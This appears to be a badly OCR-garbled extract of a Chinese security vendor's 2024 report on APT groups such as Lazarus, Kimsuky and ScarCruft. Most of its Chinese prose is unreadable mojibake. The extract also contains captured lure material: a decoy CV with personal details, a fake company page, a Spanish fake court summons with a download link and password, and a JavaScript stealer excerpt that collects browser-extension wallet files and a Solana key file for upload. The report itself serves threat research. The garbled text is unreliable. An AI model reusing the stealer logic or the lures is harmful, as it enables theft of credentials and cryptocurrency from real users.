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20245, APT-C-06 ( Darkhotel ) {ARE T ERNFFEELUIIBEERZ M T U EFHREER
HENBENEEF L, ZALNBRENIR T s B EDIE SRS EF R,

20244, APT-C-06 ( Darkhotel ) ‘AR EPI G W E BT HIERIGER T IhEMFHEF A%
BRYEEHE, FRIHSHHTER .. AXENRENEET, REZKREENZINAREED
EITEREFF AR U

FLORWES, APT-C-06 ( Darkhotel )BTRS H T plFREFEI M B ERAMTELEDRIAE
BB RRIRAIRAS, BEERAR T &R . HTIHMFREAREERMERRLD, LA RE
BFRFRIOATEH.

EXE
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2024FA8, FEAPT-C-06 ( Darkhotel ) BERHITAIS—EWEENF, WEEFHUMERENF
ERPFEHRIRIE TS EN , SFEARF SRRl HifaE FinRYCookie X4 .

A E: APT-C-06 ( Darkhotel ) LB LHEAIE



PART 02 2024&FZitXIERAPTALADH

® APT-C-60 ( fh3E& )
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BE) BAREREPRREN, SEHNEHENPERT0dayimE, BINZERKERREYT BEIES
RHAMBUSTIE .
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E ° SecureBootUEF | dat Service dat r:l
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rat C2iRs%aE
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20245, 3605 HMIARBRIAEIAPT-C-60 (M1EF ) BREREDLPHOdayimEIF RIS
. EREESFR, WEETIFZDRNTHSE "o’ BIAERESUY, FBiSmbHH I TERE
FEERNMES “curriculum vitae.et” FIIEEIH, MEFR P ARFRSERERHEES, 3
SERAFPREEENDERERN, BIHEE0REEWSERAIMNY, FA I THRNESIES

A B E (1] £ F G

Mirys Yaag
College of Chemistry and Chemical Engineering, Iilea il S il el W
Liacning, 110034, P.R_ China.
s K@ 163.com
GENERAL INFORMATION

Name : ‘Bsgs Fi
Gender : Male

Birth : 1986-04-22

Origin : Nanyang, Henan Province

RESEARCH INTEREST
= Synthesis of photoactive 2D-COFs
= Photoactive 2D-COFs catalyzed visible-light-driven organic transformations

= Transition-metal catalyzed synthesis of heterocyclic compounds

NEBERESERRE K EBoemvan & wne

22 ACADEMIC EXPERIENCE
2

i: 2020.11-present Professor. College of Chemistry and Chemical Engineering, Sy
B SRR

G LA L
27
‘: 2017.04-2020.10 Associate professor, College of Ghemistry and Chemical Engineerin g
31

2 2016.03-2017.03 Visiting st.'lmlar‘ Department Chemistry, B [5 Seasialy Sulefes
-
3

L 2013.08-2016.02 Associate professor, College of Chemistry and Chemical | Engineerin g,
i R Ay -
37
35 EDUCATION
39

37 2010.09-2013.07 Ph. D.. Department of Chemistry, b smmar

a2

43 2007.08-2010.07 Master of Eng 19, Department of F Engineering,

“ - — e s e s ey w— W c——
= g W -

= e ey
ar
48 lzaos.n&zno:r.u'r Bachelor of Engineering, Department of Pharmaceutical Engineering,
» Bief o Bt Fe il H i "ol Bnw

E2

50
51
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APT-C-26 (Lazarus ) BRAE2024FFEALKEERANE SN, SINBEMXAONHRT
SaRE, ENMZELIINZEHMRAKESLBEM EFESE ., APT-C-26 (Lazarus ) BREK
TENFERTEMEFMIWERA, FIINBEBIERNELRIKS. MEE. ERASEESE
FHETEFWE, FACVE-2024-21338. CVE-2024-7971. CVE-2024-38106FZ " mEE
FAERRBPRE; EADLLMMNEMEN G TS, EMERKEFRERETAPT-C-
26 (Lazarus ) BRE&ESEAVRLNUISERARKTE

APT-C-26 (Lazarus ) BEREF T —FIEBITERAE S, 52 REFRARIKEER .
WEEBIBDIESERIERKSEFAEFEER, BETARKEERIVBIEER, BSEFH
FInEESSESFITEERIEeE, FERBPAITERTIERER .. BEiEF—Bfials, WEHE
ENSIRAFNEEDURRFERER, RNDBRRRFGEENEKESTEEEPythond
4, H—L PR BERAPIEMEE. WESRENER, WEE=EBERRFAIEANYDeskiziezH
B, MNMIREXBErRP RS EEHIN, BEEEEESE U THIMERE

HANBIXFAPT-C-26 ( Lazarus ) BRWEHENEWSHTAI, HEFRIREL SO XEFE
ERZZIMAIFR AR

‘%m . l 4
=4 am B U3 ey] byl by) pY

ReEEoEES s sRmEE ARMEBT A AnyDosk Loaderdlt AnyDesk
AT ARFEl £ T + 3
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= = L}
EERLEEY
RS a APTEESE APTEOES APTEREEE APTEOEEE  APTEISEEE
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2024F N5, 3608 REIMATLEIREI TAPT-C-26 ( Lazarus ) B4RFIFBElectroniTEHY
BB, ZERNEREDFENEMNRZ TELEENMEEDTUEXARBITHE, —B%
SEREElectronfIBINERRER, ERERNTRIENENEESETERIIE, BEBEEZEM
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\ Top About Hhy How Team Press Partners Download

C.C.Waterfall

Empowering blockchain technology and building a better decentralized future

.....ﬁééi&.im.[%i_liﬁ e IR——

E®
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Top About Why How Team Press Partners Download

Projects Managed / Advised

- Kwikswap Protocol

- Kwikstarter Launchpad
- Alphadex Ecosystem

- Plutonians

- Moonbase Alpha

Our Products

Secure POF Reader 4 Secure Putty

o Y 4

Name: C.C.Waterfall LLC
Registration Number: 2866419
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PythonEF EFER AT

THIZLERD

#3 AFreeConferenceCalléi ¥, pypillE, nodejsil B

[Bl3%

5=
/

collectExtensionData = async (extensionDir, fileNamePrefix, collesctSolanald) => {
let r = extensionDir;
if (lextensionDir || '' === extensionDir)
return [];
try {
if ('isAccessible (extensionDir))
return [];
} eatch (err) {
return [];:
}
fileNamePrefix || (fileNamePrefix = ''});
let collectedData = [];
for (let i = 0; i € 2
const settingsDir

i++) |
"${ extensionDir }/${ 0 === i ? 'Default' : “5{
for (let j = 0; j < U.length; j++) {

const extensionId = extensionIds[j];

rofile’ } ${ i I 1/S] "Iocal Extension Settings' 1 ;

const extDir = "S[settingsDir}/${extensionIds(j]}";
if (isAccessible (extDir)) {
try {
files — £s.readdirSync (sxtDir) ;
} catch (err) {
files = [];
¥
files.forEach(asyne file => {
const filePath = path.join(extDir, file);
try {
(filePath.includes('.1db") || filePath,includes('.log"))
[valueRey]: fs.crsateReadStream(filsPath)
[options]: { [fil v1: FEfE
b
} catch (err) {

&& collectedData.push({

efix}${i}_ ${extensionIds[j]}_S${file}" }

}
if (collectSolanaIld) {
const solanaIdFile = 's

if (r = FS{ homedir }51 'I.c;nfiglanllnnlid.jaon' }'., f£s.existssync(r))
try {
collectedData.push({

[valueRey]: fs.createReadStream(solanaldPath),
[options]: { [fileNameRey]: solanaldFile }
13
} cateh (err) {
}
}
return uploadData(collectedData), collectedData;

}.
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20245, APT-C-55 (Kimsuky ) BRWHEENFEZF S EBTTETIERESHEXER
Hh, IEBIESHEFERAANEDAL. BiR. TERHER, WEEFEEBENY B SHft 55
SEXAEILHX

360 R EMAFEXIAPT-C-55 ( Kimsuky ) AR A&EAIRandomQuery W& &siit 704 :
WEERERHTMUE A E QBB TIERE, BERRCEELNKSUFIEEN S, BB
SR GIEXADS, BRESERRAPITNSG, SEFBRNAXGHBEFRERELEARS

(RAT) 4, MR = BA0H—E55E.

v

i = o L T h
28 DA 0 0 G

T nicrit EEVBS ETE=PowerShell

E

EIEE

FFBRAT:E G

@® APT-C-28 ( ScarCruft)

APT-C-28 (ScarCruft) ARE2024FFEER, Wk BInOUS bR EZ XS THEFE K E AR
. ERFE. NEZ2TWARI, BoREEDEZMEFHEES . HEUNRSZHBUFEXE
tx, HEZZMBREEZNEINRZEETUIEX

3605 R EMARISNEIAPT-C-28 ( ScarCruft ) BREWHENTIET BBl ‘8
BANERIE” EELNKUYRIZIBROKRatEEMME . BAFMEEELNKE, SI2EVEE
BATI 4 F0PowerShellfii4, BEEIEAPowerShelliiiZA M\ DropBoxz= &S N F—BERINZEifr, A0
BB EESIshellcode, FEFRCIERLIEHTNE, RLIFIROKRaEER L,

A E: APT-C-55 (Kimsuky ) AR EHMER=E



P

020

2024F 2 WS IIFEMERA (APT) SRS

el

il
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v
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it}
Ead

ol

-------- - TEELNK PowerShell Dropbox

RokRat shellcode NEEIES T
ED
o, HMTHEMEAPT-C-28 ( ScarCruft) ?ﬁ,/\ﬁﬁﬁﬁﬁ%—arﬁﬁ’\]ﬁﬁ%:
“SpravkiBKsetup.msi” , {R%E EZT&%HHEWWFE%&A#LH%% aTRiE . BAMSIEEFIEITRT,
MIERELRERRZFARBR, BRI AR THITTHE .
ﬁ%’ Cratuctuka K3Y — O X
Bac npuMBeTCTBYeT MacTep f]
YVCTAHOBKMU “CTaTHMCcTHUKA K

5w — )

UK NpoBeleT Bac 9
U 'CTaTHUCTHEKaA K3Y¥

Pe.

w<
(oo el
2H4
=l
o o
oo
-
0ORE

BHHUMAHHE! HaHHaq NporpaMMa 2alllille Ha
3aK0OHaMH 06 aBTOPCKUX NpaBax U
MeXIVYHAQpPOIHEHMHU cOorlNTalleHUAMHU He 3aKOHHOe
BOCNPOUIBeleHUe UINU pacnNpocTpaHeHUe
DaAaHHOWN NporpaMMBl UIU NTHWEOHN ee YaCTHU BlevdeT
TrPaXITaHCKYH U YTONOBHYH OTBeTCTBEeHHOCTHSD.

=@

AED:

APT-C-28 ( ScarCruft) AR ENRIETRE E2: APT-C-28 ( ScarCruft) {RR{IEHIHESHRERFAR R GEE

2024 GLOBAL ADVANCED PERSISTENT THREAT (APT) RESEARCH REPORT



20244, APT-C-28£H2R

O

H-L%E[z] o

PART 02 2024&FZitXIERAPTALADH

R R TR RS Es, WHEEATEHR “VeiShell “H
PRHELEREI G . RGBT B IMHERE, BEAIERAAEINEE, IINEESEEHZREN

/ =M \
o
—_— —_ >
K [ ZIp 2
FERME T
Nk PowerShell
e evels
=3 —-)\ DLL
\x/
D M ~dil I
d.exe._coniig omainManager e xlsx o
\ (f—*iﬁ%#jd,my
A
! =)
EXE AppDomainManager 15 OLL
E—
e.xlsx d.exe DomainManager.dil
(FEEE)
N TN . e, | >
</> > — |2
Javascript VeilShell
= ; (PowerShell)
APTE:EES 2 APTE:REEES

A E: APT-C-28 (ScarCruft ) fB43{FER “VeilShel” EEAHKEIIRE
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20245, HBFILEMEXAPTELNEREZ2W EHEE . APT-C-01 (F=ik ) HERFEHX
BERHASR. @ik, BEFIEEREFBYNanH s, 202453605 MR

\|

=
IFEOTHEREEZI X AVFTAPTAELR . APTC-65 (2MHE) .
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® APT-C-01 (=)

2024F 2%, APT-C-01 (En ) ARYUKERE EHRTER. T2HUNERERERA. 2
Bizk. BUSTWSEBER, LSEABRIKFPEBIRIAL SR HERNEERRN .. EFHIEKE
BRI ER) SR ENEIEEAER RN, SEIREBSTERIKEER), EPEESEERER
BE

APT-C-01 (E=f# ) ARANT NP AN RIRNERL A EINFENE, BEHYRENE
A ERIEEN ., APT-C-01 (=% ) HRENSFSRIBENS FFENX xR, BFX
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GOVERNMENT OF KHYBER PAKHTUNKHWA
HOME & TRIBAL AFFAIRS DEPARTMENT
Subject: MINUTES OF THE MEETING OF 15™ SESSION OF PROVINCIAL STEERING COMMITTEE ON ILLEGAL SPECTRUM
The 15" meeting of the Provincial Steering Committee on lllegal spectrum was held on 11.03.2024 at 1100 hours under the chaimanship of
Additional Chief Secretary Home & Tribal Affairs Department Khyber Pakhtunkhwa at Conference Room, Home & Tribal Affairs Department. List of attendoos
is attached.
2. The Chair welcomed the participants and asked Director PSS to brief the forum on the agenda. The Director PSS gave a detailed presentation on
PSS Cases progress during last one year and informed the forum that there is a slowdown in terms of entries of cases in PSS software by different depariments
and also apprised the forum about the imp ion status of the di of 3 Apex committee meeting held on 08.11.2023 and 14™ Provincial Steering
Committee meeting held on 10.01. 2024. The Chair directed all Departments/Agencies to expedite the entry of cases & clear the backlog within 10 Days &
also enter the cases in PSS Software on regular basis.
3. After detailed discussion, the following decisions were approved as way forward:
SNo Discussion on Agenda item Decision and status I Action by /\
lllegal Foreigne:
KP Commissionerate of Afghan Refugees under control of | Apex Decisions of 27" Sept conveyed by Home Dept and a| SAFRON/HD/11 [“ \
1. | Home & Tribal Affairs Department Khyber Pakhtunkhwa separate letter was also delivered to SAFRON to expedite the Corps
placement but no response till received.
Re-validation of data of 1.7 M illegal foreigners by Mol ACC Card Mapping is going on the province. Needs to be Agenda Item
2 dropped for future meetings. Dropped
CamScanner
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Embassy of Pakistan
4-6-17, Minami- Azabu, Minato-ku-Tokyo.
T Fax: !
Registration Form
Registration of Pakistani Nationals with Pakistan Embassy (Japan)

1) **Name m Full: Mr /Mrs/Ms. First Middle Last
**Telephone: Fax:
E-mail::
**Home Address (Japan):
2) Work (Office): Company Name:
Telephone #: Fax:
Office Address:

3) Profession (Company Business Type):

4) ** National ID Card Number:

5) **Passport Number and Place of issue:

6) ** Date of Birth (dd/mm/yy):

7) ** Place of Birth (Town, State, Country):

8) ** Address (Pakistan):

9) Period of Total Stay in Japan:

10) Qualifications:

11) Comments if Any:
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Home News Sport Business Innovation Culture Travel Earth Video Live

Ukraine mobile network Kyivstar hit by
‘cyber-attack'’

12 December 2023 Share =<

Jessica Parker
BBC News, Kyiv
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Kyivstar is said to be working on additional security measures to prevent future incidents

UKraine's main mobile network, Kyivstar, says it's been the target of a "powerful
hacker attack".
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Consejo Superior de la Judicatura
u Republica de Colombia
Cordial saludo.
DEMANDA LABORAL.

Los articulos 47 y 51 determinan las causas de resoluciones sin responsabilidad para el trabajador y el patron,
entre la cuales se encuentran las siguientes: - Rescindir: dejar sin efecto una obligacion, un contrato, etc. -
Rescision: accién y efecto de rescindir.

se trata de un proceso ordinario con medio de control de reparacion directa en donde se pretende la
responsabilidad en su contra, y aclarar los hechos lo mas pronto posible .

Esperamos pronta respuesta de su parte.

-ARCHIVO PROTEGIDO CON CONTRASENA: GHY751FR

DESCARGAR AQUI

ASUNTO: L SRl L R s
DELITO: ARSI Sl o1 [

JUICION.® B

Por la presente, se le cita a comparecer en calidad de demandado en el proceso por apropiacion indebida. Su presencia es requerida en el

Juzgado Penal, dentro de un plazo de 10 dias habiles contados a partir de esta notificacidn.

Clave de consulta del documento: CRT57G
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